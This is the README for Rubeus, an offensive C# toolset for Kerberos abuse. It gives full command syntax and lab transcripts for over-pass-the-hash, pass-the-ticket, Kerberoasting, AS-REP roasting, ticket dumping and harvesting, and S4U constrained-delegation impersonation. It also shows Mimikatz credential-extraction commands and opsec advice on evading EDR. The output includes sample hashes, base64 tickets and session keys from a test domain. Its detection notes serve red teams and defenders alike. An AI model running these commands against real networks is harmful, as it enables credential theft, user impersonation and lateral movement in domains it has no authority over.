Skip to content
Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 2558 lines (1746 sloc) 114 KB

Rubeus


Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project (CC BY-NC-SA 4.0 license) and Vincent LE TOUX's MakeMeEnterpriseAdmin project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.

Rubeus also uses a C# ASN.1 parsing/encoding library from Thomas Pornin named DDer that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!

The KerberosRequestorSecurityToken.GetRequest method for Kerberoasting was contributed to PowerView by @machosec.

Elad Shamir contribute some essential work for resource-based constrained delegation.

@harmj0y is the primary author of this code base.

Rubeus is licensed under the BSD 3-Clause license.

Table of Contents

Background

Command Line Usage

Ticket requests and renewals:

    Retrieve a TGT based on a user password/hash, optionally applying to the current logon session or a specific LUID:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]

    Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]

    Retrieve a service ticket for one or more SPNs, optionally applying the ticket:
        Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]

    Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]


Constrained delegation abuse:

    Perform S4U constrained delegation abuse:
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]


Ticket management:

    Submit a TGT, optionally targeting a specific LUID (if elevated):
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
        Rubeus.exe purge [/luid:LOGINID]

    Parse and describe a ticket (service ticket or TGT):
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>


Ticket extraction and harvesting:

    Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:
        Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:LDAP]

    List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:
        Rubeus.exe klist [/luid:LOGINID]

    Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
        Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]

    Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
        Rubeus.exe tgtdeleg [/target:SPN]

    Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:
        Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] [/registry:SOFTWARENAME]

    Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
        Rubeus.exe harvest [/interval:MINUTES] [/registry:SOFTWARENAME]


Roasting:

    Perform Kerberoasting:
        Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

    Perform Kerberoasting, outputting hashes to a file:
        Rubeus.exe kerberoast /outfile:hashes.txt [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

    Perform Kerberoasting with alternate credentials:
        Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

    Perform Kerberoasting with an existing TGT:
        Rubeus.exe kerberoast /spn:"blah/blah" </ticket:BASE64 | /ticket:FILE.KIRBI>

    Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
        Rubeus.exe kerberoast /usetgtdeleg

    Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
        Rubeus.exe kerberoast /rc4opsec

    Perform AES Kerberoasting:
        Rubeus.exe kerberoast /aes

    Perform AS-REP "roasting" for any users without preauth:
        Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

    Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
        Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

    Perform AS-REP "roasting" for any users without preauth using alternate credentials:
        Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."]


Miscellaneous:

    Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]

    Reset a user's password from a supplied TGT (AoratoPw):
        Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]

    Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
        Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]


NOTE: Base64 ticket blobs can be decoded with :

    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

Opsec Notes

This section covers some notes on the operational security of using Rubeus in an environment, with some technical examples comparing/contrasting some of its approaches to Mimikatz. The material here will be expanded in the future.

Overview

Any action you perform on a system is a detectable risk, especially when abusing functionality in "weird"/unintended ways. Rubeus (like any attacker toolset) can be detected in a number of methods, either from the host, network, or domain perspectives. I have a workmate who is fond of stating "everything is stealthy until someone is looking for it" - tools and techniques generally evade detection because either a) people are not sufficiently aware of the tool/technique and therefore not even looking, b) people can not collect and process the data needed at the appropriate scale, or c) the tool/technique blends with existing behavior to sufficiently sneak in with false positives in an environment. There is much more information on these steps and detection subversion in general in Matt Graeber and Lee Christensen’s Black Hat USA 2018 “Subverting Sysmon” talk and associated whitepaper.

From the host perspective, Rubeus can be caught during initial weaponization of the code itself, by an abnormal (non-lsass.exe) process issuing raw Kerberos port 88 traffic, through the use of sensitive APIs like LsaCallAuthenticationPackage(), or by abnormal tickets being present on the host (e.g. rc4_hmac use in tickets in a modern environment).

From a network or domain controller log perspective, since Rubeus implements many parts of the normal Kerberos protocol, the main detection method involves the use of rc4_hmac in Kerberos exchanges. Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges (with a few exceptions like inter-realm trust tickets). Using a rc4_hmac (NTLM) hash is used in a Kerberos exchange instead of a aes256_cts_hmac_sha1 (or aes128) key results in some signal that is detectable at the host level, network level (if Kerberos traffic is parsed), and domain controller event log level, sometimes known as "encryption downgrade".

Weaponization

One common way attack tools are detected is through the weaponization vector for the code. If Rubeus is run through PowerShell (this includes Empire) the standard PowerShell V5 protections all apply (deep script block logging, AMSI, etc.). If Rubeus is executed as a binary on disk, standard AV signature detection comes into play (part of why we do not release compiled versions of Rubeus, as brittle signatures are silly ; ). If Rubeus is used as a library then it's susceptible to whatever method the primary tool uses to get running. And if Rubeus is run through unmanaged assembly execution (like Cobalt Strike's execute_assembly) cross-process code injection is performed and the CLR is loaded into a potentially non-.NET process, though this signal is present for the execution of any .NET code using this method.

Also, AMSI (the Antimalware Scan Interface) has been added to .NET 4.8. Ryan Cobb has additional details on the offensive implications of this in the Defense section of his “Entering a Covenant: .NET Command and Control” post.

Example: Credential Extraction

Say we have elevated access on a machine and want to extract user credentials for reuse.

Mimikatz is the swiss army knife of credential extraction, with multiple options. The sekurlsa::logonpasswords command will open up a read handle to LSASS, enumerate logon sessions present on the system, walk the default authentication packages for each logon session, and extract any reverseable password/credential material present. Sidenote: the sekurlsa::ekeys command will enumerate ALL key types present for the Kerberos package.

Rubeus doesn't have any code to touch LSASS (and none is intended), so its functionality is limited to extracting Kerberos tickets through use of the LsaCallAuthenticationPackage() API. From a non-elevated standpoint, the session keys for TGTs are not returned (by default) so only service tickets extracted will be usable (the tgtdeleg command uses a Kekeo trick to get a usable TGT for the current user). If in a high-integrity context, a GetSystem equivalent utilizing token duplication is run to elevate to SYSTEM, and a fake logon application is registered with the LsaRegisterLogonProcess() API call. This allows for privileged enumeration and extraction of all tickets currently registered with LSA on the system, resulting in base64 encoded .kirbi's being output for later reuse.

Mimikatz can perform the same base64 .kirbi extraction with the following series of commands:

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export

Mimikatz can also carve tickets directly out of LSASS' memory with:

mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export

As "everything is stealthy until someone is looking for it", it's arguable whether LSASS manipulation or ticket extraction via the LsaCallAuthenticationPackage() API call is more "stealthy". Due to Mimikatz' popularity, opening up a handle to LSASS and reading/writing its memory has become a big target for EDR detection and/or prevention. However, LsaCallAuthenticationPackage() is used by a fairly limited set of processes, and creating a fake logon application with LsaRegisterLogonProcess() is also fairly anomalous behavior. However full API level introspection and baselining appears to be a more difficult technical problem than LSASS protection.

Example: Over-pass-the-hash

Say we recover a user's rc4_hmac hash (NTLM) and want to reuse this credential to compromise an additional machine where the user account has privileged access.

Sidenote: pass-the-hash != over-pass-the-hash. The traditional pass-the-hash technique involves reusing a hash through the NTLMv1/NTLMv2 protocol, which doesn't touch Kerberos at all. The over-pass-the-hash approach was developed by Benjamin Delpy and Skip Duckwall (see their "Abusing Microsoft Kerberos - Sorry you guys don't get it" presentation for more information). This approach turns a hash/key (rc4_hmac, aes256_cts_hmac_sha1, etc.) for a domain-joined user into a fully-fledged ticket-granting-ticket (TGT).

Let's compare "over-passing-the-hash" via Mimikatz' sekurlsa::pth command verus using the asktgt command from Rubeus (or Kekeo if you'd like).

When sekurlsa::pth is used to over-pass-the-hash, Mimikatz first creates a new logon type 9 process with dummy credentials - this creates a new "sacrificial" logon session that doesn't interact with the current logon session. It then opens the LSASS process with the ability to write to process memory, and the supplied hash/key is then patched into the appropriate section for the associated logon session (in this case, the "sacrificial" logon session that was started). This causes the normal Kerberos authentication process to kick off as normal as if the user had normally logged on, turning the supplied hash into a fully-fledged TGT.

When Rubeus' asktgt command is run (or Kekeo's equivalent), the raw Kerberos protocol is used to request a TGT, which is then applied to the current logon session if the /ptt flag is passed.

With the Mimikatz approach, administrative rights are needed as you are manipulating LSASS memory directly. As previously mentioned, Mimikatz' popularity has also led to this type of behavior (opening up a handle to LSASS and reading/writing its memory) being a big target for EDR detection and/or prevention. With the Rubeus/Kekeo approach, administrative rights are not needed as LSASS is not being touched. However, if the ticket is applied to the current logon session (with /ptt), the TGT for the current logon session will be overwritten. This behavior can be avoided (with administrative access) by using the /createnetonly command to create a sacrificial process/logon session, then using /ptt /ticket:X /luid:0xa.. with the newly created process LUID. If using Cobalt Strike, using the make_token command with dummy credentials and then kerberos_ticket_use with the ticket retrieved by Rubeus will let you apply the new TGT in a way that a) doesn't need administrative rights and b) doesn't stomp on the current logon session TGT.

It is our opinion that the LSASS manipulation approach is more likely (at the current moment) to be detected or mitigated due to the popularity of the technique. However the Rubeus approach does result in another piece of detectable behavior. Kerberos traffic to port 88 should normally only originate from lsass.exe - sending raw traffic of this type from an abnormal process could be detectable if the information can be gathered.

Sidenote: one way both approaches can potentially be caught is the previously mentioned "encryption downgrade" detection. To retrieve AES keys, use Mimikatz' sekurlsa::ekeys module to return ALL Kerberos encryption keys (same with lsadump::dcsync) which are better to use when trying to evade some detections.

Ticket requests and renewals

Breakdown of the ticket request commands:

Command Description
asktgt Request a ticket-granting-ticket (TGT) from a hash/key or password
asktgs Request a service ticket from a passed TGT
renew Renew (or autorenew) a TGT or service ticket

asktgt

The asktgt action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4, /aes128, /aes256, or /des). A /password flag can also be used instead of a hash - in this case /enctype:X will default to RC4 for the exchange, with des|aes128|aes256 as options. If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:0xA.. flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.

Note that no elevated privileges are needed on the host to request TGTs or apply them to the current logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the /createnetonly:C:\X.exe parameter (which hides the process by default unless the /show flag is specified), or request the ticket and apply it to another logon session with ptt /luid:0xA...

Requesting a ticket via RC4 hash for dfm.a@testlab.local, applying it to the current logon session:

C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):

    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

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  krbtgt/testlab.local
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:06:07 PM
EndTime               :  2/25/2019 8:06:07 PM
RenewTill             :  3/4/2019 3:06:07 PM
Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  +zY8adXi2NuvkAxl1ohUOA==

Requesting a ticket via aes256_hmac hash for dfm.a@testlab.local, starting a new hidden process and applying the ticket to that logon session. Note: elevation needed!

C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 7564
[+] LUID            : 0x3c4c241

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...

[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!

Note that the /luid and /createnetonly parameters require elevation!

asktgs

The asktgs action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The /ptt flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more /service:X SPNs must be specified, comma separated.

The supported encryption types in the constructed TGS-REQ will be RC4_HMAC, AES128_CTS_HMAC_SHA1, and AES256_CTS_HMAC_SHA1. In this case, the highest mutually supported encryption will be used by the KDC to build the returned service ticket. If you want to force DES, RC4, or AES128/256 keys, use /enctype:[RC4|AES128|AES256|DES].

Requesting a TGT for dfm.a and then using that ticket to request a service ticket for the "LDAP/primary.testlab.local" and "cifs/primary.testlab.local" SPNs:

C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!


C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: List Kerberos Tickets (Current User)

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : cifs/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

    [1] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : LDAP/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

Requesting a service ticket for an AES-enabled service account, specifying that we only support RC4_HMAC:

C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFrjCCBaqgAwIBBaEDA...(snip)...

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  roast/me
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:10:59 PM
EndTime               :  2/25/2019 8:09:54 PM
RenewTill             :  3/4/2019 3:09:54 PM
Flags                 :  name_canonicalize, pre_authent, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  Gg3zZicIl5c50KGecCf8XA==

renew

The renew action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session.

Note that TGTs MUST be renewed before their EndTime, within the RenewTill window.

C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

The /autorenew flag will take an existing /ticket:X .kirbi file/blob, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes.

C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3

[*] Action: Auto-Renew TGT


[*] User       : dfm.a@TESTLAB.LOCAL
[*] endtime    : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

      doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

Constrained delegation abuse

Breakdown of the constrained delegation commands:

Command Description
s4u Perform S4U2self and S4U2proxy actions

s4u

The s4u action is nearly identical to Kekeo's tgs::s4u functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field) this action can be used to abuse access to the target SPN/server. Constrained delegation is complex. For more information see this post or Elad Shamir's "Wagging the Dog" post.

A TL;DR explanation is that an account with constrained delegation enabled is allowed to request tickets to itself as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have TrustedToAuthForDelegation enabled in it's useraccountcontrol property, something that only elevated users can modify by default. This ticket has the FORWARDABLE flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's msds-allowedtodelegateto field. So long story short, if you have control of an account with TrustedToAuthForDelegation set and a value in msds-allowedtodelegateto, you can pretend to be any user in the domain to the SPNs set in the account's msds-allowedtodelegateto field.

This "control" can be the hash of the account (/rc4 or /aes256), or an existing TGT (/ticket:X) for the account with a msds-allowedtodelegateto value set. If a /user and rc4/aes256 hash is supplied, the s4u module performs an asktgt action first, using the returned ticket for the steps following. If a TGT /ticket:X is supplied, that TGT is used instead.

A /impersonateuser:X parameter MUST be supplied to the s4u module. If nothing else is supplied, just the S4U2self process is executed, returning a forwardable ticket:

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
